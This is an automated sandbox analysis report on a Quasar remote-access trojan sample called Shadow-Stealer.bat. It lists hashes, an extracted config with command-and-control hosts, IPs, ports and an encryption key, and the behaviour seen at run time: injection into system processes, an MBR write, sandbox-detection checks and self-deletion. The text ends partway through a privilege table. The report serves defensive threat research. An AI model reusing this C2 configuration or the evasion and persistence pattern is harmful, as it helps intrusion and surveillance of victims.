quasar | 84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
16-06-2024 18:35

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General

Target

Shadow-Stealer.bat
Size

12.5MB
MD5

cf5b412ffc3ce43cd7ddce602fc67f56
SHA1

221dfcd0868158f676c472d8a5bcf9647f0c7d51
SHA256

84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724
SHA512

695489d3b02863c382dc4b044bd80825b3f46eadfe4647619a0036da7ab3405b7925e89a457b19ee57995a59dcf8d5f9df237cd4d5d59a6cee3914aeaee2a8ef
SSDEEP

49152:mmlB6XvIxKx/znMtw4e/x4dA+ilmm5C5rsw1y1lkGxJW5RXLnfaWixbVoZmb0nYk:b

Score

10^/10

quasar v2.2.6 | tinsler bootkit persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | Tinsler

throbbing-mountain-09011.pktriot.net:22112

167.71.56.116:22112

throbbing-mountain-09011.pktriot.net:5050

Mutex

cf16a257-7d89-4296-8384-8fca3dbb568f

Attributes

encryption_key
045F98A287DD47B8B5C074D234995A2C5A913042
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
1000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4156-72-0x0000025DDB8F0000-0x0000025DDC0BA000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

Processes:

Shadow-Stealer.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 4072 created 616	4072	Shadow-Stealer.bat.exe	winlogon.exe
PID 4156 created 616	4156	$sxr-powershell.exe	winlogon.exe
PID 4156 created 616	4156	$sxr-powershell.exe	winlogon.exe
PID 4072 created 616	4072	Shadow-Stealer.bat.exe	winlogon.exe
PID 4156 created 616	4156	$sxr-powershell.exe	winlogon.exe
PID 4156 created 616	4156	$sxr-powershell.exe	winlogon.exe
PID 4156 created 616	4156	$sxr-powershell.exe	winlogon.exe
PID 4156 created 616	4156	$sxr-powershell.exe	winlogon.exe
PID 4156 created 616	4156	$sxr-powershell.exe	winlogon.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

WaaSMedicAgent.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p"	WaaSMedicAgent.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exeShadow-Stealer.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	Shadow-Stealer.bat.exe

Deletes itself 1 IoCs

Processes:

Shadow-Stealer.bat.exe

pid process

4072 Shadow-Stealer.bat.exe
Executes dropped EXE 5 IoCs

Processes:

Shadow-Stealer.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exe

pid process

4072 Shadow-Stealer.bat.exe
1316 $sxr-mshta.exe
4208 $sxr-cmd.exe
4156 $sxr-powershell.exe
4644 $sxr-powershell.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

wmiprvse.exe

description ioc process

File opened for modification \??\PHYSICALDRIVE0 wmiprvse.exe

description	ioc	process
File opened for modification	\??\PHYSICALDRIVE0	wmiprvse.exe

Drops file in System32 directory 7 IoCs

Processes:

svchost.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe

Suspicious use of SetThreadContext 18 IoCs

Processes:

Shadow-Stealer.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 4072 set thread context of 1528	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 set thread context of 864	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4156 set thread context of 4300	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 1532	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 448	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 820	4156	$sxr-powershell.exe	dllhost.exe
PID 4072 set thread context of 3540	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4072 set thread context of 1108	4072	Shadow-Stealer.bat.exe	dllhost.exe
PID 4156 set thread context of 5160	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 6248	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 6336	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 5480	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 368	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 5196	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 6472	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 6364	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 5716	4156	$sxr-powershell.exe	dllhost.exe
PID 4156 set thread context of 6600	4156	$sxr-powershell.exe	dllhost.exe

Drops file in Windows directory 12 IoCs

Processes:

svchost.exeShadow-Stealer.bat.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File created	C:\Windows\$sxr-powershell.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Shadow-Stealer.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File created	C:\Windows\$sxr-cmd.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exemousocoreworker.exe

description	ioc	process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exewmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

7060 taskkill.exe

pid	process
7060	taskkill.exe

Modifies data under HKEY_USERS 61 IoCs

Processes:

svchost.exeWaaSMedicAgent.exeOfficeClickToRun.exesvchost.exemousocoreworker.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E3FB4E05F"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion	mousocoreworker.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager	mousocoreworker.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek	mousocoreworker.exe

Modifies registry class 29 IoCs

Processes:

Explorer.EXE$sxr-mshta.exetaskmgr.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\WFlags = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Rev = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616209"	Explorer.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616193"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\HotKey = "0"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	taskmgr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\Shell\ShowCmd = "1"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	Explorer.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	Explorer.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6692 PING.EXE

pid	process
6692	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Shadow-Stealer.bat.exetaskmgr.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

pid	process
4072	Shadow-Stealer.bat.exe
4072	Shadow-Stealer.bat.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
4072	Shadow-Stealer.bat.exe
1528	dllhost.exe
1528	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
864	dllhost.exe
1528	dllhost.exe
1528	dllhost.exe
2400	taskmgr.exe
2400	taskmgr.exe
4072	Shadow-Stealer.bat.exe
4072	Shadow-Stealer.bat.exe
2400	taskmgr.exe
2400	taskmgr.exe
4156	$sxr-powershell.exe
4156	$sxr-powershell.exe
4156	$sxr-powershell.exe
2400	taskmgr.exe
2400	taskmgr.exe
2400	taskmgr.exe
4156	$sxr-powershell.exe
4300	dllhost.exe
4300	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
1532	dllhost.exe
4300	dllhost.exe
4300	dllhost.exe
2400	taskmgr.exe
2400	taskmgr.exe
4156	$sxr-powershell.exe
4156	$sxr-powershell.exe
2400	taskmgr.exe
4644	$sxr-powershell.exe
4644	$sxr-powershell.exe
4644	$sxr-powershell.exe
4644	$sxr-powershell.exe
4156	$sxr-powershell.exe
448	dllhost.exe
448	dllhost.exe
820	dllhost.exe
820	dllhost.exe
820	dllhost.exe
820	dllhost.exe
448	dllhost.exe
448	dllhost.exe
2400	taskmgr.exe
2400	taskmgr.exe
820	dllhost.exe
820	dllhost.exe
448	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

taskmgr.exe

pid process

2400 taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Shadow-Stealer.bat.exetaskmgr.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	4072	Shadow-Stealer.bat.exe
Token: SeDebugPrivilege	2400	taskmgr.exe
Token: SeSystemProfilePrivilege	2400	taskmgr.exe
Token: SeCreateGlobalPrivilege	2400	taskmgr.exe
Token: SeDebugPrivilege	4072	Shadow-Stealer.bat.exe
Token: SeDebugPrivilege	1528	dllhost.exe
